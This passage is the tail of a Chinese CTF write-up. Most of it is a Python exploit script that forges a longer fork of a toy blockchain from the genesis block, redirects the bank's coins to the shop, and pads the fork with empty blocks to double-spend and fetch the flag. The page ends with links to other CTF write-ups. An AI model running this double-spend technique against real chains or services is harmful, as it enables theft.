b={}
b["prev"] = prevHash
b["transactions"] = []
b = pow(b, btc.DIFFICULTY, msg)
return b
def myprint(b):
print(json.dumps(b))
print(len(json.dumps(b)))
def send_to_server(b):
data = json.dumps(b)
r = ss.post(url = url_prefix+"/create_transaction",data = data, headers = {"content-type":"application/json"},proxies = proxies)
print r.content
# 从创世块开始就不承认,构造更长的链,不承认黑客已经转走钱,直接转给商店
# 从银行直接转币到商店
print("从银行直接转币到商店")
block1 = {}
block1["prev"] = genesis_block
tx = {"input":[hacker_input],"output":[{"amount":1000000, 'id':txout_id,'addr':shop_address}],'signature':[hacker_signature]}
tx["output"][0]["hash"] = btc.hash_utxo(tx["output"][0])
tx['hash'] = btc.hash_tx(tx)
block1["transactions"] = [tx]
block1 = pow(block1, btc.DIFFICULTY)
myprint(block1)
send_to_server(block1)
# 构造空块增加分叉链长度,使分叉链最长
# 空区块
print("空区块")
block2 = empty_block("myempty1", block1["hash"])
myprint(block2)
send_to_server(block2)
# 创建空区块,触发下面的转走币
print("创建空区块,触发下面的转走币")
block3 = empty_block("myempty2", block2["hash"])
myprint(block3)
send_to_server(block3)
# 商店自动转走币
# 钻石+1
# 不承认被转走了钱,即系统转走钱之前的那个块再次分叉,添加空块
# 创建空区块,
print("空区块")
block4 = empty_block("myempty3", block3["hash"])
myprint(block4)
send_to_server(block4)
# 创建空区块,触发分叉2商店转走币
print("创建空区块,触发分叉2商店转走币")
block5 = empty_block("myempty4", block4["hash"])
myprint(block5)
send_to_server(block5)
# 分叉2商店转走币
# 钻石+1
r = ss.get(url_prefix + "/flag",proxies=proxies)
print r.content
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至[email protected]
Recommend
-
146
跟学校的队伍参加了又一次 ?网杯 ,记录一下 pwn 的 writeup。 gettingstart binary & exploit here
-
4
上个月洒家参加了 DDCTF 玩了几把,其中有几道 Web 题还是很有意思的,在此做一下详细的记录。 绕过 CSP 的 XSS¶ 分析
-
9
web 签到<!-- if($_POST['param1']!=$_POST['param2'] && md5($_POST['param1'])==md5($_POST['param2'])){ die("success!"); } -->md5碰撞 param1=%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%...
-
5
Flag Checker V1.0直接看出是JsFuck找个JsFuck解密网站https://enkhee-osiris.github.io/Decoder-JSFuck/得到flag Flag Checker V2.0
-
4
Web 1: simplewebvar net = require('net'); flag='fake_flag'; var server = net.createServer(function(socket) { socket.on('data', (data) => { //m = data.toString().replace(/[\n\r]*$/, ''); ok = true;...
-
5
Login meHi, I've been learning NodeJS for a day!!! I'm trying to make a simple login page with this awesome language, can you please check it out. var express = require('express') var app = express()...
-
7
Description: We recorded some of BirdMan’s networking, but a part of it (the important part) got scrambled. Download Solution Author:
-
7
[OtterCTF 2018] - ReCurse Writeup Dec 10, 2018 •...
-
8
Authenticate your way to adminOwen had created an authentication system which lets users login with their email-id or their team name. But that’s not fun is it? Logging in as the admin beats it...
-
9
请阅读正文 overInt 附带大佬的writeup 先过两关检测,然后有: *(&v8 + v6) = v5;v3 = (int *)(unsigned int)v5;printf("str_pos is %c\n", v3);
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK